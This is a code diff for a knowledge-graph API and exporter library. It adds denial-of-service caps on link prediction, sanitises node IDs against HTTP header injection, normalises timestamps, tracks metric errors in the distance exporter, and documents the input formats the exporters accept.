entities = await asyncio.to_thread(recognizer.extract_entities, body.text)
|
||||
|
||||
ent_list = entities if isinstance(entities, list) else getattr(entities, "entities", [])
|
||||
|
||||
relations = await asyncio.to_thread(
|
||||
extractor.extract_relations, body.text, ent_list
|
||||
)
|
||||
|
||||
rel_list = relations if isinstance(relations, list) else getattr(relations, "relations", [])
|
||||
|
||||
return EnrichExtractResponse(
|
||||
entities=[_safe_dict(entity) for entity in ent_list],
|
||||
relations=[_safe_dict(relation) for relation in rel_list],
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/enrich/links", response_model=LinkPredictionResponse)
|
||||
@@ -194,40 +215,80 @@ async def predict_links(
|
||||
if node is None:
|
||||
raise HTTPException(status_code=404, detail=f"Node '{body.node_id}' not found")
|
||||
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)
|
||||
edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)
|
||||
# SECURITY: Acquire semaphore BEFORE loading data so concurrent requests
|
||||
# cannot pile up expensive threadpool work and memory pressure (Qodo #2).
|
||||
async with _link_prediction_semaphore:
|
||||
# SECURITY: Reject an oversized graph using the O(1) raw collection
|
||||
# lengths BEFORE calling get_nodes()/get_edges(), which normalize the
|
||||
# *entire* matching set before applying `limit` -- checking `total`
|
||||
# only after that call still pays the full O(graph size) cost the cap
|
||||
# is meant to avoid.
|
||||
total_nodes, total_edges = await asyncio.to_thread(session.get_raw_counts)
|
||||
if total_nodes > _LINK_PREDICTION_MAX_NODES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_nodes:,} nodes; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_NODES:,} nodes to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
if total_edges > _LINK_PREDICTION_MAX_EDGES:
|
||||
raise HTTPException(
|
||||
status_code=413,
|
||||
detail=(
|
||||
f"Graph has {total_edges:,} edges; link prediction is capped at "
|
||||
f"{_LINK_PREDICTION_MAX_EDGES:,} edges to prevent memory exhaustion. "
|
||||
"Use the graph search endpoint for large graphs."
|
||||
),
|
||||
)
|
||||
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges if edge.get("source") == body.node_id
|
||||
} | {
|
||||
edge.get("source") for edge in edges if edge.get("target") == body.node_id
|
||||
}
|
||||
# SECURITY: Load at most _LINK_PREDICTION_MAX_NODES candidates.
|
||||
# The hardcoded limit in the original code consumed ~1.6 GB RAM
|
||||
# per request and had no concurrency guard, making it trivially DoS-able.
|
||||
nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=_LINK_PREDICTION_MAX_NODES)
|
||||
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
# Load edges specific to the queried node rather than a globally
|
||||
# truncated page — avoids missing neighbours when the node's edges
|
||||
# fall outside the first page (Qodo #3).
|
||||
edges_out, _ = await asyncio.to_thread(
|
||||
session.get_edges, source=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
edges_in, _ = await asyncio.to_thread(
|
||||
session.get_edges, target=body.node_id, skip=0, limit=_LINK_PREDICTION_MAX_NODES,
|
||||
)
|
||||
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
existing_neighbors = {
|
||||
edge.get("target") for edge in edges_out
|
||||
} | {
|
||||
edge.get("source") for edge in edges_in
|
||||
}
|
||||
|
||||
def _score_all() -> list:
|
||||
results = []
|
||||
for candidate_node in nodes:
|
||||
candidate_id = candidate_node.get("id")
|
||||
if not candidate_id or candidate_id == body.node_id or candidate_id in existing_neighbors:
|
||||
continue
|
||||
if body.candidate_type and candidate_node.get("type") != body.candidate_type:
|
||||
continue
|
||||
try:
|
||||
score = predictor.score_link(session.graph, body.node_id, candidate_id)
|
||||
except Exception:
|
||||
continue
|
||||
if score >= body.min_score:
|
||||
results.append(
|
||||
{
|
||||
"target": candidate_id,
|
||||
"score": score,
|
||||
"type": candidate_node.get("type", "entity"),
|
||||
"label": candidate_node.get("content", candidate_id),
|
||||
}
|
||||
)
|
||||
results.sort(key=lambda item: item["score"], reverse=True)
|
||||
return results
|
||||
|
||||
scored = await asyncio.to_thread(_score_all)
|
||||
return LinkPredictionResponse(node_id=body.node_id, predictions=scored[: body.top_n])
|
||||
|
||||
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
"""
|
||||
"""
|
||||
Import and export routes for graph datasets.
|
||||
"""
|
||||
|
||||
@@ -6,6 +6,7 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
|
||||
from fastapi import APIRouter, Depends, File, HTTPException, UploadFile
|
||||
from fastapi.responses import Response
|
||||
@@ -22,6 +23,33 @@ _IMPORT_MAX_BYTES = 50 * 1024 * 1024 # 50 MB
|
||||
# Do not add extensions here unless a corresponding parsing branch exists below.
|
||||
_ALLOWED_IMPORT_EXTENSIONS = frozenset({".json", ".csv"})
|
||||
|
||||
# SECURITY: Strip characters from imported node IDs that would enable stored
|
||||
# HTTP response header injection (CWE-20 / CWE-113). These IDs are later
|
||||
# reflected verbatim into Content-Disposition filename= headers by the
|
||||
# provenance report endpoint -- CRLF sequences in an ID can split the HTTP
|
||||
# response and inject arbitrary headers (Set-Cookie, Content-Type, etc.).
|
||||
# NUL bytes truncate filenames on POSIX and some Windows APIs.
|
||||
_UNSAFE_ID_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_IMPORT_NODE_ID_LEN = 512
|
||||
|
||||
|
||||
def _sanitize_import_node_id(raw: object) -> str:
|
||||
"""Sanitize a node ID arriving from an uploaded CSV or JSON file.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes, then length-caps the
|
||||
result. These are the characters that enable CRLF header injection when
|
||||
the ID is later used in a Content-Disposition filename= parameter.
|
||||
"""
|
||||
if raw is None:
|
||||
return ""
|
||||
cleaned = _UNSAFE_ID_CHARS.sub("_", str(raw).strip())
|
||||
if len(cleaned) > _MAX_IMPORT_NODE_ID_LEN:
|
||||
raise HTTPException(
|
||||
status_code=422,
|
||||
detail=f"Node ID exceeds maximum length of {_MAX_IMPORT_NODE_ID_LEN} characters.",
|
||||
)
|
||||
return cleaned
|
||||
|
||||
|
||||
def _import_response(nodes_added: int, edges_added: int, message: str = "Import successful") -> ImportResponse:
|
||||
return ImportResponse(
|
||||
@@ -77,12 +105,19 @@ async def import_file(
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
if "properties" in raw_node:
|
||||
nodes.append(raw_node)
|
||||
# SECURITY: this pre-built-node path bypasses the id/type/properties
|
||||
# construction below entirely, so it must sanitize the id itself --
|
||||
# otherwise a payload like {"id": "<crlf>", "properties": {}} skips
|
||||
# _sanitize_import_node_id() completely (CWE-20/CWE-113 bypass).
|
||||
safe_node_id = _sanitize_import_node_id(
|
||||
raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))
|
||||
)
|
||||
nodes.append({**raw_node, "id": safe_node_id})
|
||||
continue
|
||||
metadata = raw_node.get("metadata", {}) or {}
|
||||
nodes.append(
|
||||
{
|
||||
"id": str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"id": _sanitize_import_node_id(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", "")))),
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {
|
||||
"content": raw_node.get("text", raw_node.get("content", raw_node.get("id", ""))),
|
||||
@@ -102,8 +137,8 @@ async def import_file(
|
||||
{
|
||||
"id": raw_edge.get("id", raw_edge.get("edge_id")),
|
||||
"familyId": raw_edge.get("familyId", raw_edge.get("family_id")),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"type": raw_edge.get("type", raw_edge.get("relationship", "related_to")),
|
||||
"weight": float(raw_edge.get("weight", 1.0)),
|
||||
"properties": edge_properties,
|
||||
@@ -159,8 +194,8 @@ async def import_file(
|
||||
{
|
||||
"id": row.get("id") or row.get("edge_id"),
|
||||
"familyId": row.get("familyId") or row.get("family_id"),
|
||||
"source_id": str(source),
|
||||
"target_id": str(target),
|
||||
"source_id": _sanitize_import_node_id(source),
|
||||
"target_id": _sanitize_import_node_id(target),
|
||||
"type": row.get("type") or row.get("relationship") or row.get(":TYPE") or "related_to",
|
||||
"weight": float(row.get("weight", 1.0) or 1.0),
|
||||
"properties": edge_props,
|
||||
@@ -174,7 +209,7 @@ async def import_file(
|
||||
}
|
||||
nodes.append(
|
||||
{
|
||||
"id": str(node_id),
|
||||
"id": _sanitize_import_node_id(node_id),
|
||||
"type": row.get("type") or row.get("label") or row.get(":LABEL") or "entity",
|
||||
"properties": node_props,
|
||||
}
|
||||
|
||||
@@ -5,6 +5,7 @@ Provenance routes for lineage visualization and exportable reports.
|
||||
import asyncio
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
import networkx as nx
|
||||
@@ -19,6 +20,24 @@ from ...provenance.integrity import verify_checksum
|
||||
logger = logging.getLogger(__name__)
|
||||
router = APIRouter(prefix="/api/provenance", tags=["Power User Tools"])
|
||||
|
||||
# SECURITY: Strip characters that could break out of a Content-Disposition
|
||||
# filename= value and inject new HTTP response headers (CWE-113 / CRLF injection).
|
||||
# \r, \n, \x00 are the primary header-splitting vectors; " and \ would close
|
||||
# or escape the filename attribute.
|
||||
_UNSAFE_FILENAME_CHARS = re.compile(r'[\r\n\x00"\\]')
|
||||
_MAX_FILENAME_ID_LEN = 128
|
||||
|
||||
|
||||
def _safe_content_disposition_filename(node_id: str, suffix: str) -> str:
|
||||
"""Return a sanitized Content-Disposition filename for the given node_id.
|
||||
|
||||
Strips CR, LF, NUL, double-quotes, and backslashes that could split HTTP
|
||||
response headers or escape the filename attribute, then length-caps the
|
||||
result so it never produces an excessively long header value.
|
||||
"""
|
||||
sanitized = _UNSAFE_FILENAME_CHARS.sub("_", str(node_id))[:_MAX_FILENAME_ID_LEN]
|
||||
return f"{sanitized}{suffix}"
|
||||
|
||||
_AGENT_TYPES = {"person", "organization", "system", "agent"}
|
||||
_ACTIVITY_TYPES = {"action", "event", "process", "activity", "decision", "publication"}
|
||||
|
||||
@@ -333,12 +352,12 @@ async def export_provenance_report(
|
||||
content = _render_markdown(report)
|
||||
return PlainTextResponse(
|
||||
content,
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.md"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.md")}"'},
|
||||
)
|
||||
|
||||
content = json.dumps(report, indent=2, default=str)
|
||||
return Response(
|
||||
content=content,
|
||||
media_type="application/json",
|
||||
headers={"Content-Disposition": f'attachment; filename="{node_id}_provenance.json"'},
|
||||
headers={"Content-Disposition": f'attachment; filename="{_safe_content_disposition_filename(node_id, "_provenance.json")}"'},
|
||||
)
|
||||
|
||||
@@ -2,10 +2,10 @@
|
||||
Shared Pydantic schemas for the Semantica Knowledge Explorer API.
|
||||
"""
|
||||
|
||||
from datetime import datetime
|
||||
from datetime import datetime, timezone
|
||||
from typing import Any, Dict, List, Literal, Optional, Tuple
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
from pydantic import BaseModel, Field, field_validator
|
||||
|
||||
|
||||
class ErrorResponse(BaseModel):
|
||||
@@ -144,6 +144,37 @@ class DecisionResponse(BaseModel):
|
||||
timestamp: Optional[str] = None
|
||||
metadata: Dict[str, Any] = Field(default_factory=dict)
|
||||
|
||||
@field_validator("timestamp", mode="before")
|
||||
@classmethod
|
||||
def _normalize_timestamp(cls, value: Any) -> Optional[str]:
|
||||
"""Accept the epoch floats ContextGraph.record_decision() writes.
|
||||
|
||||
Decision nodes store ``timestamp`` as ``datetime.now().timestamp()``, a
|
||||
float, so passing the stored value through unconverted fails validation
|
||||
and turns every decision route into a 500. Normalize to ISO-8601 here so
|
||||
the wire format stays a single string type whatever the producer wrote.
|
||||
"""
|
||||
if value is None or isinstance(value, str):
|
||||
return value
|
||||
if isinstance(value, datetime):
|
||||
return value.isoformat()
|
||||
if isinstance(value, (int, float)) and not isinstance(value, bool):
|
||||
import math
|
||||
if not math.isfinite(value):
|
||||
raise ValueError(
|
||||
f"timestamp must be a finite number, got {value!r}"
|
||||
)
|
||||
try:
|
||||
return datetime.fromtimestamp(value, tz=timezone.utc).isoformat()
|
||||
except (OverflowError, OSError) as exc:
|
||||
raise ValueError(
|
||||
f"timestamp {value!r} is out of the representable epoch range"
|
||||
) from exc
|
||||
raise ValueError(
|
||||
f"timestamp must be None, a string, a datetime, or a numeric epoch; "
|
||||
f"got {type(value).__name__!r}"
|
||||
)
|
||||
|
||||
|
||||
class CausalChainResponse(BaseModel):
|
||||
decision_id: str
|
||||
@@ -174,7 +205,9 @@ class TemporalPatternResponse(BaseModel):
|
||||
|
||||
|
||||
class EnrichExtractRequest(BaseModel):
|
||||
text: str
|
||||
# 10 000 characters is sufficient for a substantial document paragraph while
|
||||
# preventing unbounded spaCy NLP processing on arbitrarily large payloads.
|
||||
text: str = Field(..., max_length=10_000)
|
||||
|
||||
|
||||
class EnrichExtractResponse(BaseModel):
|
||||
|
||||
@@ -375,6 +375,19 @@ class GraphSession:
|
||||
)
|
||||
return page, total
|
||||
|
||||
def get_raw_counts(self) -> tuple[int, int]:
|
||||
"""O(1) node/edge counts from the raw collections, with no per-item
|
||||
normalization.
|
||||
|
||||
``paginate_nodes``/``paginate_edges`` always normalize the *entire*
|
||||
matching set before applying ``limit``, so callers that need to reject
|
||||
an oversized graph before paying that cost (e.g. link prediction's DoS
|
||||
guard) should check this first rather than inspecting the ``total``
|
||||
returned by ``get_nodes``/``get_edges`` after the fact.
|
||||
"""
|
||||
with self._lock:
|
||||
return len(self.graph.nodes), len(self.graph.edges)
|
||||
|
||||
def paginate_edges(
|
||||
self,
|
||||
edge_type: Optional[str] = None,
|
||||
|
||||
@@ -28,7 +28,7 @@ import json
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.helpers import ensure_directory
|
||||
from ..utils.helpers import _require_mapping, ensure_directory, normalize_graph_payload
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
|
||||
@@ -204,17 +204,19 @@ class ArangoAQLExporter:
|
||||
self._generate_collection_creation(vertex_collection, edge_collection)
|
||||
)
|
||||
|
||||
# Extract entities and relationships
|
||||
entities = knowledge_graph.get("entities", [])
|
||||
relationships = knowledge_graph.get("relationships", [])
|
||||
nodes = knowledge_graph.get("nodes", entities)
|
||||
edges = knowledge_graph.get("edges", relationships)
|
||||
# A non-mapping payload cannot reach normalize_graph_payload(): it
|
||||
# raises ValidationError for that case, which would leave this
|
||||
# exporter alone in raising a different exception type than the YAML
|
||||
# and Neo4j exporters raise for the identical mistake.
|
||||
_require_mapping(
|
||||
knowledge_graph, ("entities", "relationships", "nodes", "edges")
|
||||
)
|
||||
|
||||
# Use nodes/edges if entities/relationships are empty
|
||||
if not entities and nodes:
|
||||
entities = nodes
|
||||
if not relationships and edges:
|
||||
relationships = edges
|
||||
# Accept either vocabulary; resolution is centralized so every
|
||||
# exporter agrees on what a given payload means.
|
||||
normalized = normalize_graph_payload(knowledge_graph)
|
||||
entities = normalized["entities"]
|
||||
relationships = normalized["relationships"]
|
||||
|
||||
# Generate vertex INSERT statements
|
||||
vertex_statements = self._generate_vertex_inserts(entities, vertex_collection)
|
||||
|
||||
@@ -11,17 +11,20 @@ Python API:
|
||||
df = exporter.to_dataframe(include=["hops", "semantic_similarity", "distance_band"])
|
||||
exporter.to_csv("distances.csv")
|
||||
exporter.to_jsonl("distances.jsonl")
|
||||
|
||||
# Include error status columns for auditable exports:
|
||||
df = exporter.to_dataframe(include=["hop_count", "metric_errors"])
|
||||
"""
|
||||
|
||||
import csv
|
||||
import io
|
||||
import json
|
||||
from typing import Any, Dict, List, Optional
|
||||
from typing import Any, Dict, List, Optional, Tuple
|
||||
|
||||
from ..utils.helpers import classify_path_distance
|
||||
from ..utils.logging import get_logger
|
||||
|
||||
logger = get_logger(__name__)
|
||||
logger = get_logger("export.distance_exporter")
|
||||
|
||||
_KG_AVAILABLE = False
|
||||
try:
|
||||
@@ -36,6 +39,9 @@ _ALL_COLUMNS = [
|
||||
"distance_band", "source_betweenness", "target_betweenness",
|
||||
]
|
||||
|
||||
# Error status columns — opt-in via include=["metric_errors"]
|
||||
# (used by compute_pairs when "metric_errors" is in include set)
|
||||
|
||||
|
||||
class DistanceExporter:
|
||||
"""Compute and export pairwise distance metrics for a ContextGraph."""
|
||||
@@ -65,59 +71,77 @@ class DistanceExporter:
|
||||
node = getattr(self.graph, "nodes", {}).get(node_id)
|
||||
return getattr(node, "node_type", "") if node else ""
|
||||
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Dict[str, float]:
|
||||
def _betweenness(self, graph_dict: Dict[str, Any]) -> Tuple[Dict[str, float], Optional[str]]:
|
||||
"""Return (betweenness_dict, error). error is None on success."""
|
||||
if self._centrality is None:
|
||||
return {}
|
||||
return {}, None
|
||||
try:
|
||||
result = self._centrality.calculate_betweenness_centrality(graph_dict)
|
||||
return result.get("betweenness", {}) if isinstance(result, dict) else {}
|
||||
return (result.get("betweenness", {}) if isinstance(result, dict) else {}), None
|
||||
except Exception:
|
||||
return {}
|
||||
logger.warning("Betweenness centrality computation failed; omitting from export", exc_info=True)
|
||||
return {}, "betweenness"
|
||||
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[int]:
|
||||
def _hop_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[int], Optional[str]]:
|
||||
"""Return (hop_count, error). error is None on success or a short description on failure."""
|
||||
if self._path_finder is None:
|
||||
return None
|
||||
return None, None # KG unavailable — not an error, just no data
|
||||
try:
|
||||
result = self._path_finder.bfs_shortest_path(graph_dict, src, tgt)
|
||||
path = result.get("path", []) if isinstance(result, dict) else (result or [])
|
||||
return len(path) - 1 if path else None
|
||||
return (len(path) - 1 if path else None), None
|
||||
except Exception:
|
||||
return None
|
||||
logger.warning("Hop distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "hop_count"
|
||||
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
def _weighted_distance(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (weighted_distance, error). error is None on success."""
|
||||
if self._path_finder is None:
|
||||
return None
|
||||
return None, None
|
||||
try:
|
||||
result = self._path_finder.dijkstra_shortest_path(graph_dict, src, tgt)
|
||||
if isinstance(result, dict):
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1))
|
||||
return None
|
||||
return float(result.get("total_weight", len(result.get("path", [])) - 1)), None
|
||||
return None, None
|
||||
except Exception:
|
||||
return None
|
||||
logger.warning("Weighted distance computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "weighted_distance"
|
||||
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Optional[float]:
|
||||
def _semantic_similarity(self, graph_dict: Dict[str, Any], src: str, tgt: str) -> Tuple[Optional[float], Optional[str]]:
|
||||
"""Return (similarity, error). error is None on success."""
|
||||
if self._similarity is None:
|
||||
return None
|
||||
return None, None
|
||||
try:
|
||||
sim = self._similarity.cosine_similarity(graph_dict, src, tgt)
|
||||
return float(sim) if isinstance(sim, (int, float)) else None
|
||||
return (float(sim) if isinstance(sim, (int, float)) else None), None
|
||||
except Exception:
|
||||
return None
|
||||
logger.warning("Semantic similarity computation failed for %s -> %s; returning None sentinel", src, tgt, exc_info=True)
|
||||
return None, "semantic_similarity"
|
||||
|
||||
def compute_pairs(
|
||||
self,
|
||||
include: Optional[List[str]] = None,
|
||||
node_subset: Optional[List[str]] = None,
|
||||
) -> List[Dict[str, Any]]:
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts."""
|
||||
"""Compute all pairwise distance metrics and return as a list of dicts.
|
||||
|
||||
When ``include`` contains ``"metric_errors"``, each row gains a
|
||||
``metric_errors`` field: an empty string when all metrics succeeded, or
|
||||
a comma-separated list of metric names that raised during computation
|
||||
(e.g. ``"hop_count,weighted_distance"``). This lets downstream consumers
|
||||
distinguish legitimate ``None`` (no path) from computation failure.
|
||||
"""
|
||||
include_set = set(include or _ALL_COLUMNS)
|
||||
track_errors = "metric_errors" in include_set
|
||||
include_set.discard("metric_errors") # not a real metric to compute
|
||||
graph_dict = self._build_graph_dict()
|
||||
|
||||
node_ids = node_subset or list(self.graph.nodes.keys())
|
||||
|
||||
betweenness: Dict[str, float] = {}
|
||||
betweenness_err: Optional[str] = None
|
||||
if "source_betweenness" in include_set or "target_betweenness" in include_set:
|
||||
betweenness = self._betweenness(graph_dict)
|
||||
betweenness, betweenness_err = self._betweenness(graph_dict)
|
||||
|
||||
rows = []
|
||||
for i, src in enumerate(node_ids):
|
||||
@@ -125,6 +149,10 @@ class DistanceExporter:
|
||||
if src == tgt:
|
||||
continue
|
||||
row: Dict[str, Any] = {}
|
||||
errors: List[str] = []
|
||||
if betweenness_err:
|
||||
errors.append(betweenness_err)
|
||||
|
||||
if "source_id" in include_set:
|
||||
row["source_id"] = src
|
||||
if "source_type" in include_set:
|
||||
@@ -136,15 +164,23 @@ class DistanceExporter:
|
||||
|
||||
hop_count: Optional[int] = None
|
||||
if "hop_count" in include_set or "distance_band" in include_set:
|
||||
hop_count = self._hop_distance(graph_dict, src, tgt)
|
||||
hop_count, hop_err = self._hop_distance(graph_dict, src, tgt)
|
||||
if hop_err:
|
||||
errors.append(hop_err)
|
||||
if "hop_count" in include_set:
|
||||
row["hop_count"] = hop_count
|
||||
|
||||
if "weighted_distance" in include_set:
|
||||
row["weighted_distance"] = self._weighted_distance(graph_dict, src, tgt)
|
||||
wd_val, wd_err = self._weighted_distance(graph_dict, src, tgt)
|
||||
row["weighted_distance"] = wd_val
|
||||
if wd_err:
|
||||
errors.append(wd_err)
|
||||
|
||||
if "semantic_similarity" in include_set:
|
||||
row["semantic_similarity"] = self._semantic_similarity(graph_dict, src, tgt)
|
||||
ss_val, ss_err = self._semantic_similarity(graph_dict, src, tgt)
|
||||
row["semantic_similarity"] = ss_val
|
||||
if ss_err:
|
||||
errors.append(ss_err)
|
||||
|
||||
if "distance_band" in include_set:
|
||||
row["distance_band"] = classify_path_distance(hop_count) if hop_count is not None else "distant"
|
||||
@@ -154,6 +190,9 @@ class DistanceExporter:
|
||||
if "target_betweenness" in include_set:
|
||||
row["target_betweenness"] = betweenness.get(tgt)
|
||||
|
||||
if track_errors:
|
||||
row["metric_errors"] = ",".join(errors) if errors else ""
|
||||
|
||||
rows.append(row)
|
||||
return rows
|
||||
|
||||
|
||||
@@ -14,9 +14,10 @@ License: MIT
|
||||
"""
|
||||
|
||||
from typing import Any, Optional
|
||||
from datetime import datetime
|
||||
import uuid
|
||||
|
||||
from ..utils.helpers import utc_now_iso
|
||||
|
||||
|
||||
class ExporterWithProvenance:
|
||||
"""Base exporter with provenance tracking."""
|
||||
@@ -45,9 +46,9 @@ class ExporterWithProvenance:
|
||||
|
||||
def export(self, data: Any, destination: str, **kwargs):
|
||||
"""Export data with provenance tracking."""
|
||||
activity_started_at_time = datetime.utcnow().isoformat()
|
||||
activity_started_at_time = utc_now_iso()
|
||||
result = self._exporter.export(data, destination, **kwargs)
|
||||
activity_ended_at_time = datetime.utcnow().isoformat()
|
||||
activity_ended_at_time = utc_now_iso()
|
||||
|
||||
if self.provenance and self._prov_manager:
|
||||
self._prov_manager.track_entity(
|
||||
|
||||
@@ -297,6 +297,57 @@ export_yaml(semantic_network, "network.yaml", method="semantic_network")
|
||||
export_yaml(schema, "schema.yaml", method="schema")
|
||||
```
|
||||
|
||||
### Accepted Input
|
||||
|
||||
Both YAML exporters read their payload by key, so the input must be a mapping;
|
||||
anything else raises `ProcessingError`. A bare list is rejected rather than
|
||||
wrapped, since these formats distinguish entities from relationships from
|
||||
triplets and guessing which one a list holds would mislabel the records.
|
||||
|
||||
Each exporter then reads a fixed set of keys, and raises `ValidationError` on a
|
||||
non-empty mapping that supplies none of them — such a payload would otherwise
|
||||
serialize to a valid file with every collection empty. Naming a recognized key
|
||||
is not enough on its own: `{"entities": [], "data": [...]}` also raises, since
|
||||
nothing resolves while the records sit under a key the exporter never reads.
|
||||
|
||||
| Method | Recognized keys |
|
||||
| :--- | :--- |
|
||||
| `"semantic_network"` | `entities` (alias `nodes`), `relationships` (alias `edges`), `triplets` |
|
||||
| `"schema"` | `classes`, `properties`, `namespaces`, `uri`, `title`, `description`, `version` |
|
||||
|
||||
`metadata` is carried through on both, but does not by itself make a payload
|
||||
recognized — an `export_json` envelope (`{"data": [...], "count": N,
|
||||
"metadata": {...}}`) carries one and is rejected.
|
||||
|
||||
```python
|
||||
# ContextGraph.to_dict() exports directly via the nodes/edges aliases
|
||||
export_yaml(context_graph.to_dict(), "graph.yaml")
|
||||
|
||||
# A bare list has no unambiguous meaning here
|
||||
export_yaml(records, "out.yaml") # ProcessingError
|
||||
|
||||
# An export_json payload is refused rather than written out empty
|
||||
export_yaml({"data": records}, "out.yaml") # ValidationError
|
||||
|
||||
# ...and so is one that names a recognized key but leaves it empty
|
||||
export_yaml({"entities": [], "data": records}, "out.yaml") # ValidationError
|
||||
```
|
||||
|
||||
The value under a recognized key must be a collection of records — a list or
|
||||
tuple of mappings or objects. A string, a bare mapping, or a scalar raises
|
||||
`ValidationError` naming the key, rather than being iterated into
|
||||
character-sized "records" or surfacing as a `TypeError` from inside the
|
||||
exporter. `None` is read as an absent collection, the same as `[]`.
|
||||
|
||||
```python
|
||||
export_yaml({"entities": "abc"}, "out.yaml") # ValidationError
|
||||
export_yaml({"entities": 42}, "out.yaml") # ValidationError
|
||||
export_yaml({"nodes": {"id": "n1"}}, "out.yaml") # ValidationError — wrap it in a list
|
||||
```
|
||||
|
||||
An empty mapping is still accepted: an empty graph is a legitimate export and
|
||||
has no records to lose.
|
||||
|
||||
## OWL Export
|
||||
|
||||
### OWL/XML Format
|
||||
@@ -479,6 +530,23 @@ Pass `validate=True` to run a post-export integrity check before returning:
|
||||
export_neo4j_csv(kg, "neo4j_import/", validate=True)
|
||||
```
|
||||
|
||||
#### Accepted Input
|
||||
|
||||
Mapping payloads are read on the same terms as the YAML exporters (see [Accepted
|
||||
Input](#accepted-input) above): `entities`/`relationships`, with `nodes`/`edges`
|
||||
accepted as aliases. A non-empty mapping that supplies neither — or that supplies
|
||||
a malformed collection value — raises `ValidationError` rather than writing
|
||||
header-only CSVs indistinguishable from a genuinely exported empty graph. The
|
||||
payload is normalized before any file is opened, so a rejected export writes
|
||||
nothing.
|
||||
|
||||
Graph *objects* are unaffected: they are still read off `nodes`/`entities` and
|
||||
`edges`/`relationships` attributes.
|
||||
|
||||
```python
|
||||
export_neo4j_csv({"data": [{"id": "e1"}]}, "neo4j_import/") # ValidationError
|
||||
```
|
||||
|
||||
#### Importing into Neo4j
|
||||
|
||||
Once the CSV files are generated, they can be imported into a new Neo4j database using the `neo4j-admin database import` command:
|
||||
|
||||
@@ -24,14 +24,14 @@ License: MIT
|
||||
"""
|
||||
|
||||
import json
|
||||
from datetime import datetime
|
||||
from pathlib import Path
|
||||
from typing import Any, Dict, List, Optional, Union
|
||||
|
||||
from ..utils.exceptions import ProcessingError, ValidationError
|
||||
from ..utils.helpers import ensure_directory, write_json_file
|
||||
from ..utils.helpers import ensure_directory, utc_now_iso, write_json_file
|
||||
from ..utils.logging import get_logger
|
||||
from ..utils.progress_tracker import get_progress_tracker
|
||||
from .rdf_exporter import SEMANTICA_NS, mint_entity_iri, mint_relationship_iri
|
||||
|
||||
|
||||
class JSONExporter:
|
||||
@@ -265,11 +265,12 @@ class JSONExporter:
|
||||
json_data = {
|
||||
"@context": {
|
||||
"@vocab": "https://semantica.dev/vocab/",
|
||||
"semantica": SEMANTICA_NS,
|
||||
"entities": {"@id": "semantica:entities", "@container": "@list"},
|
||||
},
|
||||
"entities": entities,
|
||||
"metadata": {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
"entity_count": len(entities),
|
||||
**options.get("metadata", {}),
|
||||
},
|
||||
@@ -294,6 +295,7 @@ class JSONExporter:
|
||||
json_data = {
|
||||
"@context": {
|
||||
"@vocab": "https://semantica.dev/vocab/",
|
||||
"semantica": SEMANTICA_NS,
|
||||
"relationships": {
|
||||
"@id": "semantica:relationships",
|
||||
"@container": "@list",
|
||||
@@ -301,7 +303,7 @@ class JSONExporter:
|
||||
},
|
||||
"relationships": relationships,
|
||||
"metadata": {
|
||||
"exported_at": datetime.now().isoformat(),
|
||||
"exported_at": utc_now_iso(),
|
||||
